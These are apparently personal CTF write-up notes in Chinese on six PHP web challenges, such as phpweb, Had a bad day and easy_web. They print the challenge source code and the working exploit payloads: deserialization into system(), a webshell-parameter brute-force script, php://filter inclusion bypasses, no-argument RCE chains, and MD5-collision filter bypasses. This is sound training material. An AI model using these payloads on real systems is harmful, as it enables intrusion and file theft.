3.30-4.6
[网鼎杯 2020 朱雀组]phpweb
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2022-03-30 02:12:24 am
先发现了这个,但没有什么用
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
然后发现了这个,所以用post请求先传一下参func=1&p=2,报错
call_user_func() expects parameter 1 to be a valid callback, function '1' not found or invalid function name in <b>/var/www/html/index.php
这里知道是用了call_user_func()函数
这里尝试func=system&p=ls,被识别报了hacker
func=file_get_contents&p=index.php读index源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
构造一个反序列化,反序列化里没禁system
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$A= new Test();
$A->p="find / -name flag*";
$A->func="system";
$b = serialize($A);
echo urlencode($b);
?>
然后找到了这么多。。。
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu22/domain0/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu25/domain0/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu28/domain0/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu31/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/tunl0/flags
/sys/devices/virtual/net/lo/flags
/tmp/flagoefiu4r93
/tmp/flagoefiu4r93
然后"cat /tmp/flagoefiu4r93"找到了flag
flag{b6a6595a-2ee4-441e-b846-f24055533161}
[强网杯 2019]高明的黑客
下载附件是很多个变量名乱码的php文件,发现了很多get和post参数
暴力搜索有没有可以利用的
从网上截取了一段遍历的代码,有错误!!!居然在外层调用内层定义的变量,调试了我好久!!不过也把代码理解透彻了。
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(1) #这儿设置最大的线程数
filePath = """C:\\Users\\dhy\\Desktop\\ctf\\ctf创新实践\\题目附件\\src"""
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 100 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
# print(params)
url = 'http://6f00b5ee-10d5-45cd-8e8e-de195acb27d6.node4.buuoj.cn:81/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
# print(content)
if file=="xk0SzyKwfzw.php":
print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
x=""
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
x=a
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
x=b
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = x
else:
param = x
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
os.system("pause")
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
还有一个问题,访问网站过多会报429,就导致结果出不来
<html>
<head><title>429 Too Many Requests</title></head>
<body>
<center><h1>429 Too Many Requests</h1></center>
<hr><center>openresty</center>
</body>
</html>
找到了一个好办法,把给的压缩包放到自己本地开设的网站里,然后访问http://127.0.0.1/src/就不会报429了。
得到可以直接利用的参数
找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG
payload:xk0SzyKwfzw.php?Efa5BVG=cat%20/flag 得到flag哦
[BSidesCF 2020]Had a bad day
进入题目环境,随便点个键,发现url上带了参数
http://e6f66391-4588-4d2e-bba0-fa5d5a39bc2f.node4.buuoj.cn:81/index.php?category=woofers
随便修改一下参数,发现报错
Warning: include(woofers1.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'woofers1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
应该是个文件包含的题。
试试最常见的姿势:php://filter/read=convert.base64-encode/resource=index
读出来了
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
最先想到的点是传一个跨站的php文件http://101.43.122.221/woofers来恶意文件包含。然后发现他禁了http
然后考虑到跟sql注入相似,在php://filter里加注释,注释里包含index来绕过,尝试了一下
php://filter/read=/*index*/convert.base64-encode/resource=flag
然后居然把flag读出来了。base64解码得
<!-- Can you read this flag? -->
<?php
// flag{fd644384-9bf8-4b70-950b-f9a2a1b1aa2a}
?>
。。。。
看了下题解,考点是伪协议的嵌套,我这误打误撞的把题目做出来了。。。。
php://filter伪协议可以套一层协议,就像:
php://filter/read=convert.base64-encode/woofers/resource=flag
这样提交的参数既有woofers又包含了flag
最后得到flag
[BJDCTF2020]Mark loves cat
先是一个.git泄露。用githack将泄露的文件下载,重要的文件如下(这里我的githack没法下下来,不知道什么问题。。)
<?php
$flag = file_get_contents('/flag');
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
然后是一个比较简单的变量利用。
flag在$flag里这里我们可以直接触发第二条判断,不设置post。exit($yds)可以将$yds显示出来
而$$x=$$y可以使$yds=$flag从而直接读出flag
payload:
index.php?yds=flag
[GXYCTF2019]禁止套娃
进入环境,什么都没有。。猜测是源码泄露,使用githack读出.git泄露文件。
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
一种没见过的题型,没看懂这个正则匹配式子
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
(?R)是递归搜索,式子的意思就是只允许无参数函数嵌套。a(),a(b())这种
无参数rce,以前没做过这类题目。。
scandir()可以扫描当前目录下的文件。
print_r(scandir("."))
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
print_r(scandir(pos(localeconv())));
- array_reverse()
以相反的元素顺序返回数组
?exp=print_r(array_reverse(scandir(pos(localeconv()))));
2.array_rand()和array__flip()
array_rand()是随机返回数组中的一个下标,但是我们要的是键值
所以就再array_flip()一下就好了
?exp=print_r(array_rand(scandir(pos(localeconv()))));
3.session_id(session_start())
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php
最后,读取flag.php源码
et被ban了,所以flie_get_contents()就不行了。
还有 readfile()或者highlight_file()或者show_source()可以啊
[安洵杯 2019]easy_web
进入题目环境,发现url上提供了两个参数,cmd和img=TXpVek5UTTFNbVUzTURabE5qYz0,看起来像base64,解码两次再进行hex解码,得到555.jpg。注意到F12中还有base64编码,猜测是把文件编码放了出来。试试读index.php。编码后丢进img参数里。
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
首先考虑到绕过这一段
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
这里用了强转,不能用数组进行绕过,array==array。。。。
使用md5碰撞
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
暂时不知道什么原理。即可绕过。
然后cmd=dir读目录。
cmd=dir%20/读根目录
cmd=ca\t%20/flag读flag,即可得到flag。